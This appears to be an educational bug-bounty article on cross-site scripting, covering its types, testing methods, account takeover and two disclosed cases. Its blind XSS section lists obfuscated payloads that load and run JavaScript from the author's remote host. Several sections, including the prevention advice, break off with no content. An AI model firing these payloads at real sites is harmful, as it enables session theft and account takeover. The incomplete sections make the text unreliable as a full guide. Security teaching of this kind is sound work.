A7.2017 XSS


This may be obvious but XSS is one of my favourite vuleranbility types because of the depth and complexity. It all seems so super simple but when you really get down to the core of XSS there is a world of wonder to explore. Besides the different types of XSS ( Being reflected, stored and DOM - blind XSS is another form of stored XSS ) there are also a lot of different contexts which most people seem to glance over completely. Most courses and articles that cover XSS will only concern themselves with HTML injection but this is just a small part of what XSS is all about.

We will look at what it takes to look for all kinds of XSS attacks in all sorts of contexts but also at what we can do to stop this kind of attack.

What is XSS?

First we need to know why this vulnerability type occurs and we can state that this issue can arise wherever the developer takes user input and renders it onto the page without sanitizing that input. There are several ways to sanitise the input of which the safest but also most restrictive seems to be whitelist based filtering.

Whitelist based filtering is implemented by checking every single piece of user content and only allowing it if that user input is defined on a whitelist. As you can see this can be very cumbersome as we need to define every single input we want to allow which can give a lot of unforeseen issues.

For those reasons a blacklist based filtering system is often chosen where the input is filtered if all or part of it occurs on a blacklist. This is a lot less safe though because if the developer forgets just 1 value on the blacklist they might be opening themselves up to major attacks.

What is the impact?

The impact of XSS really depends on a couple of factors. We need to check which context we are in, what cookies have the httponly flag and if there is any data we can steal on the page. All of these are just a couple of factors that determine the impact but to be complete we should name all the factors that can improve the impact of an XSS that we can think off. Be warned though that this is based on the limited knowledge of one rat so it might be a bit lackluster.

What i do know though is that a simple alert() will not be enough to prove impact anymore and getting that popup is only half of the job. This is also where it really becomes important to know javascript on a useable level.

How to test for XSS

Passive method

For our passive method it's a matter of testing every single input field or reflected value that you see. I can not stress this enough! This means input fields, headers, ... anything you can think of you need to test it. Just enter the value and move on to explore the functionality. Don't dig too deep yet, in this phase we just want to seed our attack vector as far as possible. We want to have it in every possible database field and the reason is that when later on the application needs our data, it will grab an XSS attack vector and that means we are automatically testing for XSS and all we had to do is make our name, last name, adress, ... into a simple XSS attack vector when we registered. We are automatically testing every single location where the target needs that name and that is gold for us.

The only disadvantage of this method is that it's not very accurate and you will miss a lot of good attack possibilities in this way but it's so much better than blindly entering just any attack value in some of the fields.

'"><img src=x><b>RAT+IS+HERE_GIMME

'"  I am testing for JS context injection
'"> I am testing for html tag attribute injection
<img src=x> I don't know why but images don't seem to be filtered as often as other attack vectors
<b>RAT+IS+HERE_GIMME Obvious HTML injection attempt. What's special is that i will use this value later. 

Active hunting

This is where our value RAT+IS+HERE_GIMME comes into play. I will start looking for locations where this value is reflected.

I think you get the point by now. There are so many possible contexts of reflection and every location of reflection has it's own attack techniques. We will need to

And if all of this wasn't enough yet we also have to find out what impact our attacks will have. In the chapter"What is the impact?" we go deeper into how we can abuse these vulnerabilities.

Types of XSS

We already talked a little bit about the different types of XSS but i think it helps if we go over them fully to explain the differences to you and to show you what kind of testing is expected of you as an ethical hacker because we will also be discussing the small differences in test objectives between the types of XSS.

Reflected XSS

This is by far the most popular type of XSS out there and a lot of hunters and pentesters will focus on this as it's the easiest to test for. You don't need to know the application all you have to is look for reflected values which makes this vulnerability type a little bit less useful to me. I like to get to know my application and find all the input fields that store data in the database (which would be stored XSS) but i can certainly understand the appeal here.

For reflected XSS we are going to test every single parameter by entering a random value into that parameter and seeing if it's reflected anywhere in the response. This can be the JS, the HTML, the DOM,...

'"><img src=x><b>RAT+IS+HERE_GIMME
My attack vector

When we find a reflected parameter we don't have an XSS yet. All we've found is a reflected value on our page but it might be filtered properly or sanitised. What we need to now is to see where it is reflected and craft a proper attack string for that context. For example if you are stuck in a JS context where your input is surrounded by single quotes you will have to find a way to insert your own single quote into the attack string (which will often be filtered so you have to try and get around those filters). Next you will have to craft a proper attack to either steal data or execute a function or do something useful. Remember that a popup is just a bit annoying but it has no real impact so don't just report alert(document.domain) please.

Stored XSS

Stored XSS takes a bit more knowledge of the program to execute succesfully since you will have to test every single input field that you see. This is a GIANT task and it seems impossible but it's needed for sure. In bug bounties there will be no low hanging fruit. That will all be picked clean by pentesters already. Our amazing co-workers already did part of the work and now it's up to the bounty hunters to find that one field that everyone overlooked in their security measures.

I use the same attack vector as always and i just start. I put on some music and i register and every single input field that i see gets an attack vector thrown at it. Make sure you test everything. Look at every link on every page and actually look for hidden links as well. You can find those in JS files often because developers will put calls they are testing in the JS file and simply not call it from the production application but it's still available. This is usually a dream as we can test for things like XSS on pages that others hunters haven't even seen yet possibly.

Blind XSS

Blind XSS is also part of stored XSS as we try to insert an attack vector and a third party will open that attack vector via a system that we can not access under normal working conditions. This can be the back-end website of a ticketing system for example or a chat bot.

For this you need an out of band server. I use https://xsshunter.com/ You can set up your own out of band server from here. Then we need to make an attack vector that will call back to our JS script.

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.thexssrat. com\';document.body.appendChild(a)')

There are ofcourse more payloads depending on the situation but i have a list of them.

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.thexssrat. com\';document.body.appendChild(a)')

"><script src=https://js.thexssrat.com></script>

"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdGhlYW1hemluZ3JhdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>

"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;js.thexssrat.com&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//js.thexssrat.com");a.send();</script>


If i can i just whack them all into a chatbot or ticketing system and hope for the best.


For this chapter i am going to have to point you towards my XSS course as this is a bit too complicated to explain in simple terms and i don't want to duplicate my work on that either. I don't really like duplication as when i need to change something i would have to change it on two places.

XSS into account takeover?

Something i've been asked several times is how XSS can lead to account takeover so i will attempt to explain this here. When we execute XSS, we usually test with an alert() or something similar like a confirm(). When we see that popup our hearts go racing ofcourse as they should but this is just the start of our journey.

In the impact chapter we already talked a little bit about what we can do when we have an attack vector that seems to work but a lot of people still seem to be a bit confused on how you take over an account with that popup. This is ofcourse not possible via that popup but we can perform some other actions to steal the cookies for example and then we can enter those into our own browser and pretend to be our victim.

There are several other ways such as

So how do we prevent it?

Now that we know how XSS attacks occur and what impact they can have we can follow a few key guidelines to defend ourselves from XSS attacks. These will not give full XSS protection, there is nothing that can that.

Some more information can be found here:


How XSS affects business

XSS can be a very damaging vulnerability leading to all kinds of mishaps ranging from website defacement to full account takeover of admin users. These kinds of attacks are devastating to a company and can cause at minimum a lot of reputation damage. Any damages will need to be repaired which may cause loss of data and monetary losses.

Cross-Site Scripting (XSS) attack scenario

As for the attack scenarios we are going to discuss, we will start with a CVE that was found in August 2021, which at the writing of the article is very recent. The CVE in question is “CVE-2021-38699 TastyIgniter 3.0.7 Stored Cross Site Scripting Vulnerability”. This CVE describes a stored XSS scenario with a very deceptively easy attack vector ““><script> alert(1) </script> <script> alert(1) </script>”. This attack vector inserted into the “/account, /reservation, /admin/dashboard or /admin/system_logs” endpoints would cause a popup to appear. It might seem like a very easy to pull off but the complexity comes in finding the endpoints that have vulnerabilities in them like this.

A second example we can talk about is a stored XSS attack on a famous search engine called duckduckgo, which was found by accident. The XSS described in this disclosed report comes from the fact that duckduckgo was rendering XSS attack vectors from it’s search results which led to an XSS attack. The attack was again very simple, only requiring a payload of "><img src=x onerror=alert()> to fire. The author found this bug by searching for a XSS attack vector on urban dictionary via duckduckgo. What went on in this amazing hacker's head is anyone's guess. Both the title and description of the search results served as payloads. The full report can be found here



While cross-site scripting may seem simple at first glance, there is a huge amount of complexity involved in the different types of XSS and in what context the attack occurs. Even after the attacks found an entry point, the real impact of XSS is broad and can require a fair bit of technical knowhow to pull off successfully.